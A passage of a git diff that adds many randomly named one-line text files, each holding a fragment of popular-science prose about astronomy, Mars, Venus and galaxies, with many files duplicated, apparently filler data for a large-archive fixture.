+habitable worlds.’ Huygens did not shrink from this conclusion; he embraced it gladly:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/oemukekhsqz.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/oemukekhsqz.txt
new file mode 100644
index 0000000..9a2ab16
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/oemukekhsqz.txt
@@ -0,0 +1 @@
+everyone becomes immobilized: even moving a paw requires enormous effort. As a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/opeezmkgvifvaywil.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/opeezmkgvifvaywil.txt
new file mode 100644
index 0000000..fb53ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/opeezmkgvifvaywil.txt
@@ -0,0 +1 @@
+faster message to overtake them and revise the previous transmission. Nothing can travel
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/pflawpctzakeehavhmfbcqq.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/pflawpctzakeehavhmfbcqq.txt
new file mode 100644
index 0000000..d1e6d84
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/pflawpctzakeehavhmfbcqq.txt
@@ -0,0 +1 @@
+kills 10 M people (where M represents the number of zeroes after the one in our usual
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/pgdctedexbzczgzgxt.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/pgdctedexbzczgzgxt.txt
new file mode 100644
index 0000000..41f0107
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/pgdctedexbzczgzgxt.txt
@@ -0,0 +1 @@
+Western Indian Ocean on September 22, 1979. Early speculation held that it was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/pkvahmrenydytlveqbany.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/pkvahmrenydytlveqbany.txt
new file mode 100644
index 0000000..36573d7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/pkvahmrenydytlveqbany.txt
@@ -0,0 +1 @@
+force would work on the most distant objects, and I suppose all the matter in the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/rqezqipgddngo.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/rqezqipgddngo.txt
new file mode 100644
index 0000000..d16169a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/rqezqipgddngo.txt
@@ -0,0 +1 @@
+much good to be supremely adapted to life in the trees if there are very few trees. Many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/rykcraqdgfkalbwst.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/rykcraqdgfkalbwst.txt
new file mode 100644
index 0000000..17cc7bc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/rykcraqdgfkalbwst.txt
@@ -0,0 +1 @@
+Thermonuclear reactions in the solar interior support the outer layers of the Sun and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/sqxhivgduhl.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/sqxhivgduhl.txt
new file mode 100644
index 0000000..77538d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/sqxhivgduhl.txt
@@ -0,0 +1 @@
+hand and would think them perfectly natural. We use base ten arithmetic only because we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/sxtlakshcjbqtm.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/sxtlakshcjbqtm.txt
new file mode 100644
index 0000000..025766a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/sxtlakshcjbqtm.txt
@@ -0,0 +1 @@
+empty field, imploring what I believed to be Mars to transport me there. It never worked.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/umjwkhouvubhv.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/umjwkhouvubhv.txt
new file mode 100644
index 0000000..fa62ac1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/umjwkhouvubhv.txt
@@ -0,0 +1 @@
+The first men to be created and formed were called the Sorcerer of Fatal Laughter,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/uxegewuuhrrtxywbflmeyej.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/uxegewuuhrrtxywbflmeyej.txt
new file mode 100644
index 0000000..26d4137
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/uxegewuuhrrtxywbflmeyej.txt
@@ -0,0 +1 @@
+The surface temperatures on Venus, as deduced from radio astronomy and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/vupnidqwunpbh.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/vupnidqwunpbh.txt
new file mode 100644
index 0000000..2194e82
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/vupnidqwunpbh.txt
@@ -0,0 +1 @@
+previous incarnation of the universe oozes into the cusp, flutters past the Big Bang, to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/vzmgmgttermifgaxlrnl.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/vzmgmgttermifgaxlrnl.txt
new file mode 100644
index 0000000..e91fae4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/vzmgmgttermifgaxlrnl.txt
@@ -0,0 +1 @@
+a place now called Lituya Bay. He was delighted with the harbor and wrote: ‘Not a port in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/wqvtozedsjlplslmimx.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/wqvtozedsjlplslmimx.txt
new file mode 100644
index 0000000..7946a8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/wqvtozedsjlplslmimx.txt
@@ -0,0 +1 @@
+our congenial climate may be unstable. We are perturbing our poor planet in serious and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/xqowycrs.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/xqowycrs.txt
new file mode 100644
index 0000000..4ed6948
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/xqowycrs.txt
@@ -0,0 +1 @@
+parasites on the plants, steal the carbohydrates so we can go about our business. In eating
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/ysjsnbfgsahdtijv.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/ysjsnbfgsahdtijv.txt
new file mode 100644
index 0000000..0edb9a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/ysjsnbfgsahdtijv.txt
@@ -0,0 +1 @@
+Ptolemy’s model of planetary motion can be represented by a little machine, like
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/zegdfnmhebbdylot.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/zegdfnmhebbdylot.txt
new file mode 100644
index 0000000..c5c0f5f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/zegdfnmhebbdylot.txt
@@ -0,0 +1 @@
+systems rather like our own: at the periphery, great gaseous ringed planets and icy moons,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/crdypnzrjssj.txt b/big_zip/big-zip-files/folder_dmttswkani/crdypnzrjssj.txt
new file mode 100644
index 0000000..3706df6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/crdypnzrjssj.txt
@@ -0,0 +1 @@
+as a six-story building - thundering across the face of the Earth. Some of them had rather
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/ctuwgrdtyedgvmhxhbcoh.txt b/big_zip/big-zip-files/folder_dmttswkani/ctuwgrdtyedgvmhxhbcoh.txt
new file mode 100644
index 0000000..919e6b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/ctuwgrdtyedgvmhxhbcoh.txt
@@ -0,0 +1 @@
+theorem about twenty years ago.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/dahhjsdegxizugpkpnbkcjh.txt b/big_zip/big-zip-files/folder_dmttswkani/dahhjsdegxizugpkpnbkcjh.txt
new file mode 100644
index 0000000..1f86db5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/dahhjsdegxizugpkpnbkcjh.txt
@@ -0,0 +1 @@
+with Mars, chiefly the low oxygen abundance, the absence of liquid water, and the high
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/eomiohhkwnfkceopkwkhw.txt b/big_zip/big-zip-files/folder_dmttswkani/eomiohhkwnfkceopkwkhw.txt
new file mode 100644
index 0000000..99a2f9c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/eomiohhkwnfkceopkwkhw.txt
@@ -0,0 +1 @@
+thousands of years. More recent events, other cultural imperatives have taken precedence.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_agkuemiwyaaptrwbzvvwh.txt b/big_zip/big-zip-files/folder_dmttswkani/file_agkuemiwyaaptrwbzvvwh.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_agkuemiwyaaptrwbzvvwh.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_arwgfwxgugfonihnpcp.txt b/big_zip/big-zip-files/folder_dmttswkani/file_arwgfwxgugfonihnpcp.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_arwgfwxgugfonihnpcp.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_awxyhztjdlnopbvrlfktenv.txt b/big_zip/big-zip-files/folder_dmttswkani/file_awxyhztjdlnopbvrlfktenv.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_awxyhztjdlnopbvrlfktenv.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_ayaectvneayjlu.txt b/big_zip/big-zip-files/folder_dmttswkani/file_ayaectvneayjlu.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_ayaectvneayjlu.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_beyvuiizxtpgfehyshpr.txt b/big_zip/big-zip-files/folder_dmttswkani/file_beyvuiizxtpgfehyshpr.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_beyvuiizxtpgfehyshpr.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_brtcsihla.txt b/big_zip/big-zip-files/folder_dmttswkani/file_brtcsihla.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_brtcsihla.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_bvrksoosvmaamqwrjbnxzyot.txt b/big_zip/big-zip-files/folder_dmttswkani/file_bvrksoosvmaamqwrjbnxzyot.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_bvrksoosvmaamqwrjbnxzyot.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_dandeljvoyvvhmqnndaim.txt b/big_zip/big-zip-files/folder_dmttswkani/file_dandeljvoyvvhmqnndaim.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_dandeljvoyvvhmqnndaim.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_dlzkyjxaltyslmd.txt b/big_zip/big-zip-files/folder_dmttswkani/file_dlzkyjxaltyslmd.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_dlzkyjxaltyslmd.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_gvrebtvodcgeiwtsr.txt b/big_zip/big-zip-files/folder_dmttswkani/file_gvrebtvodcgeiwtsr.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_gvrebtvodcgeiwtsr.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_hizwlayfckorug.txt b/big_zip/big-zip-files/folder_dmttswkani/file_hizwlayfckorug.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_hizwlayfckorug.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_idifwcpvzzt.txt b/big_zip/big-zip-files/folder_dmttswkani/file_idifwcpvzzt.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_idifwcpvzzt.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_jtqxdzkcfvtlfajh.txt b/big_zip/big-zip-files/folder_dmttswkani/file_jtqxdzkcfvtlfajh.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_jtqxdzkcfvtlfajh.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_kdrawsekwdra.txt b/big_zip/big-zip-files/folder_dmttswkani/file_kdrawsekwdra.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_kdrawsekwdra.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_lhfebtfqamd.txt b/big_zip/big-zip-files/folder_dmttswkani/file_lhfebtfqamd.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_lhfebtfqamd.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_ndzhmercrzshe.txt b/big_zip/big-zip-files/folder_dmttswkani/file_ndzhmercrzshe.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_ndzhmercrzshe.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_qgjnbpdkdqnxyawv.txt b/big_zip/big-zip-files/folder_dmttswkani/file_qgjnbpdkdqnxyawv.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_qgjnbpdkdqnxyawv.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_skpzqjswhcxpso.txt b/big_zip/big-zip-files/folder_dmttswkani/file_skpzqjswhcxpso.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_skpzqjswhcxpso.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_tfpyfjcsjf.txt b/big_zip/big-zip-files/folder_dmttswkani/file_tfpyfjcsjf.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_tfpyfjcsjf.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/file_zdrfqtmxedscl.txt b/big_zip/big-zip-files/folder_dmttswkani/file_zdrfqtmxedscl.txt
new file mode 100644
index 0000000..a44711e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/file_zdrfqtmxedscl.txt
@@ -0,0 +1 @@
+The suicide rate among galaxies is high. Some nearby examples, tens or hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/hmlayojxchm.txt b/big_zip/big-zip-files/folder_dmttswkani/hmlayojxchm.txt
new file mode 100644
index 0000000..87c73cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/hmlayojxchm.txt
@@ -0,0 +1 @@
+The night sky is interesting. There are patterns there. Without even trying, you can
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/kaarsmxz.txt b/big_zip/big-zip-files/folder_dmttswkani/kaarsmxz.txt
new file mode 100644
index 0000000..8e8154a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/kaarsmxz.txt
@@ -0,0 +1 @@
+variable streaks and splotches on the Martian surface - many connected with the ramparts
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/kcjxuodo.txt b/big_zip/big-zip-files/folder_dmttswkani/kcjxuodo.txt
new file mode 100644
index 0000000..3be6f4b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/kcjxuodo.txt
@@ -0,0 +1 @@
+read either now or by posterity, it matters not. It can wait a century for a reader, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/ljyiebzneqlmerjoqhcwqfwe.txt b/big_zip/big-zip-files/folder_dmttswkani/ljyiebzneqlmerjoqhcwqfwe.txt
new file mode 100644
index 0000000..f8b2334
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/ljyiebzneqlmerjoqhcwqfwe.txt
@@ -0,0 +1 @@
+brought very close together so that the short-range nuclear forces are engaged. This can
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/lrcxktiwszbizc.txt b/big_zip/big-zip-files/folder_dmttswkani/lrcxktiwszbizc.txt
new file mode 100644
index 0000000..3f167fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/lrcxktiwszbizc.txt
@@ -0,0 +1 @@
+some radio frequencies the Earth has become by far the brightest object, the most powerful
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/lvmoptkstfulccwuezifkri.txt b/big_zip/big-zip-files/folder_dmttswkani/lvmoptkstfulccwuezifkri.txt
new file mode 100644
index 0000000..d728714
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/lvmoptkstfulccwuezifkri.txt
@@ -0,0 +1 @@
+and slowly settling down to the surface to be observed by iridescent dragonflies, incurious
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/mslkwmwhqbwybuilvuw.txt b/big_zip/big-zip-files/folder_dmttswkani/mslkwmwhqbwybuilvuw.txt
new file mode 100644
index 0000000..b536db9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/mslkwmwhqbwybuilvuw.txt
@@ -0,0 +1 @@
+popular audiences, to be visually and musically stunning, and to engage the heart as well as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/rncbjbcayceqjj.txt b/big_zip/big-zip-files/folder_dmttswkani/rncbjbcayceqjj.txt
new file mode 100644
index 0000000..1b268e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/rncbjbcayceqjj.txt
@@ -0,0 +1 @@
+beginning of our existence, and as a state of preparation or probation for farther
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/scmcwhqlpijepc.txt b/big_zip/big-zip-files/folder_dmttswkani/scmcwhqlpijepc.txt
new file mode 100644
index 0000000..253237f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/scmcwhqlpijepc.txt
@@ -0,0 +1 @@
+answers. The Mars revealed by the Viking mission is of enormous interest - particularly
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/svvivdhdtyompedhz.txt b/big_zip/big-zip-files/folder_dmttswkani/svvivdhdtyompedhz.txt
new file mode 100644
index 0000000..51ecfa5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/svvivdhdtyompedhz.txt
@@ -0,0 +1 @@
+- Albertus Magnus, thirteenth century
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/tcgarvmdjafogibyencccyy.txt b/big_zip/big-zip-files/folder_dmttswkani/tcgarvmdjafogibyencccyy.txt
new file mode 100644
index 0000000..43e5910
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/tcgarvmdjafogibyencccyy.txt
@@ -0,0 +1 @@
+in all cases a question about Martian metabolism. If there are microorganisms in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/vnttocmxtoyfawyhsy.txt b/big_zip/big-zip-files/folder_dmttswkani/vnttocmxtoyfawyhsy.txt
new file mode 100644
index 0000000..0530033
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/vnttocmxtoyfawyhsy.txt
@@ -0,0 +1 @@
+survive technological adolescence, take the proper fork at this critical historical branch
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/wfhbgcdytefseuaoi.txt b/big_zip/big-zip-files/folder_dmttswkani/wfhbgcdytefseuaoi.txt
new file mode 100644
index 0000000..d24c378
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/wfhbgcdytefseuaoi.txt
@@ -0,0 +1 @@
+arts carry a social stigma and are rightly dishonoured in our cities.’ As a result of such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/wkanejpobcmqhygc.txt b/big_zip/big-zip-files/folder_dmttswkani/wkanejpobcmqhygc.txt
new file mode 100644
index 0000000..035ff85
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/wkanejpobcmqhygc.txt
@@ -0,0 +1 @@
+a moment. Only after Ptolemy guaranteed their return with an enormous cash deposit did
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmttswkani/yozlqnjqatbndvnepdwtdn.txt b/big_zip/big-zip-files/folder_dmttswkani/yozlqnjqatbndvnepdwtdn.txt
new file mode 100644
index 0000000..dd4ff2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmttswkani/yozlqnjqatbndvnepdwtdn.txt
@@ -0,0 +1 @@
+attention. And one pleasant summer afternoon, deep in the interstices of one of his
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_ftyhdikyddqdyrc.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_ftyhdikyddqdyrc.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_ftyhdikyddqdyrc.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_fynohmhg.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_fynohmhg.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_fynohmhg.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_gppdojceyrozrq.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_gppdojceyrozrq.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_gppdojceyrozrq.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_hakxdkowbz.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_hakxdkowbz.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_hakxdkowbz.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_hdbsqradfunh.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_hdbsqradfunh.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_hdbsqradfunh.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_hxvjflxjhoqoqwro.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_hxvjflxjhoqoqwro.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_hxvjflxjhoqoqwro.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_jnwhdcdwcc.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_jnwhdcdwcc.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_jnwhdcdwcc.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
